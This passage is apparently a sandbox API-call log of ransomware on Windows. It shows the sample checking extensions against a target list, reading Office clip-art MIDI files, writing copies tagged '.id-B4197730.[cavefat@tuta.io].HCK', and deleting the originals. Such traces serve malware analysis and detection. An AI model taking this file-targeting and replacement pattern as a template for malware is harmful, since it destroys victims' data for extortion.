4 [0230.204] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".jpg") returned 4 [0230.204] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.204] lstrlenW (lpString=".doc") returned 4 [0230.204] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.205] lstrlenW (lpString=".docx") returned 5 [0230.205] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.205] lstrlenW (lpString=".pdf") returned 4 [0230.205] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.205] lstrlenW (lpString=".xls") returned 4 [0230.205] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.205] lstrlenW (lpString=".xlsx") returned 5 [0230.205] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.205] lstrlenW (lpString=".ppt") returned 4 [0230.205] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.205] lstrlenW (lpString=".zip") returned 4 [0230.205] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.205] lstrlenW (lpString=".rar") returned 4 [0230.205] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.205] lstrlenW (lpString=".bz2") returned 4 [0230.205] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.205] lstrlenW (lpString=".7z") returned 3 [0230.205] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.205] lstrlenW (lpString=".dbf") returned 4 [0230.205] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.205] lstrlenW (lpString=".1cd") returned 4 [0230.205] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0230.205] lstrlenW (lpString=".jpg") returned 4 [0230.205] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.205] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.205] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0230.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.206] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6644) returned 1 [0230.206] CloseHandle (hObject=0x54c) returned 1 [0230.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0230.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.207] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.207] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.208] GetLastError () returned 0x0 [0230.208] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0230.209] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0230.209] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.209] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.210] SetEndOfFile (hFile=0x544) returned 1 [0230.210] CloseHandle (hObject=0x544) returned 1 [0230.210] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.210] SetEndOfFile (hFile=0x54c) returned 1 [0230.212] CloseHandle (hObject=0x54c) returned 1 [0230.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.213] lstrlenW (lpString=".doc") returned 4 [0230.213] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.213] lstrlenW (lpString=".docx") returned 5 [0230.213] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.213] lstrlenW (lpString=".pdf") returned 4 [0230.213] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.213] lstrlenW (lpString=".xls") returned 4 [0230.213] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.213] lstrlenW (lpString=".xlsx") returned 5 [0230.213] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.213] lstrlenW (lpString=".ppt") returned 4 [0230.213] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".zip") returned 4 [0230.214] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".rar") returned 4 [0230.214] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".bz2") returned 4 [0230.214] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString=".7z") returned 3 [0230.214] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".dbf") returned 4 [0230.214] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".1cd") returned 4 [0230.214] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".jpg") returned 4 [0230.214] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".doc") returned 4 [0230.214] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString=".docx") returned 5 [0230.214] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.214] lstrlenW (lpString=".pdf") returned 4 [0230.214] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".xls") returned 4 [0230.214] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".xlsx") returned 5 [0230.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.214] lstrlenW (lpString=".ppt") returned 4 [0230.214] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".zip") returned 4 [0230.214] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".rar") returned 4 [0230.214] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.214] lstrlenW (lpString=".bz2") returned 4 [0230.214] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString=".7z") returned 3 [0230.214] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".dbf") returned 4 [0230.214] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".1cd") returned 4 [0230.214] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0230.214] lstrlenW (lpString=".jpg") returned 4 [0230.214] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.215] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.215] lstrlenW (lpString="PAPER_01.MID") returned 12 [0230.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.216] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6763) returned 1 [0230.216] CloseHandle (hObject=0x54c) returned 1 [0230.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0230.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.216] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.216] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.217] GetLastError () returned 0x0 [0230.217] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0230.218] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0230.219] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.219] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.219] SetEndOfFile (hFile=0x544) returned 1 [0230.220] CloseHandle (hObject=0x544) returned 1 [0230.220] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.220] SetEndOfFile (hFile=0x54c) returned 1 [0230.221] CloseHandle (hObject=0x54c) returned 1 [0230.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0230.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.222] lstrlenW (lpString=".doc") returned 4 [0230.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString=".docx") returned 5 [0230.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.223] lstrlenW (lpString=".pdf") returned 4 [0230.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".xls") returned 4 [0230.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".xlsx") returned 5 [0230.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.223] lstrlenW (lpString=".ppt") returned 4 [0230.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".zip") returned 4 [0230.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".rar") returned 4 [0230.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".bz2") returned 4 [0230.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString=".7z") returned 3 [0230.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".dbf") returned 4 [0230.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".1cd") returned 4 [0230.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".jpg") returned 4 [0230.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".doc") returned 4 [0230.223] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.223] lstrlenW (lpString=".docx") returned 5 [0230.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.223] lstrlenW (lpString=".pdf") returned 4 [0230.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".xls") returned 4 [0230.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".xlsx") returned 5 [0230.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.223] lstrlenW (lpString=".ppt") returned 4 [0230.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.223] lstrlenW (lpString=".zip") returned 4 [0230.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.223] lstrlenW (lpString=".rar") returned 4 [0230.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.224] lstrlenW (lpString=".bz2") returned 4 [0230.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.224] lstrlenW (lpString=".7z") returned 3 [0230.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.224] lstrlenW (lpString=".dbf") returned 4 [0230.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.224] lstrlenW (lpString=".1cd") returned 4 [0230.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0230.224] lstrlenW (lpString=".jpg") returned 4 [0230.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.224] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.224] lstrlenW (lpString="PARNT_01.MID") returned 12 [0230.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.225] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6491) returned 1 [0230.225] CloseHandle (hObject=0x54c) returned 1 [0230.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0230.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.225] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.225] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.226] GetLastError () returned 0x0 [0230.226] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x195b, lpOverlapped=0x0) returned 1 [0230.314] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1960, lpOverlapped=0x0) returned 1 [0230.315] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.315] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.315] SetEndOfFile (hFile=0x544) returned 1 [0230.315] CloseHandle (hObject=0x544) returned 1 [0230.316] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.316] SetEndOfFile (hFile=0x54c) returned 1 [0230.322] CloseHandle (hObject=0x54c) returned 1 [0230.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".doc") returned 4 [0230.324] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString=".docx") returned 5 [0230.324] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.324] lstrlenW (lpString=".pdf") returned 4 [0230.324] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".xls") returned 4 [0230.324] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".xlsx") returned 5 [0230.324] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.324] lstrlenW (lpString=".ppt") returned 4 [0230.324] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".zip") returned 4 [0230.324] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".rar") returned 4 [0230.324] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".bz2") returned 4 [0230.324] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString=".7z") returned 3 [0230.324] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".dbf") returned 4 [0230.324] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".1cd") returned 4 [0230.324] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".jpg") returned 4 [0230.324] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString="C:\\Program Files\\Microsoft 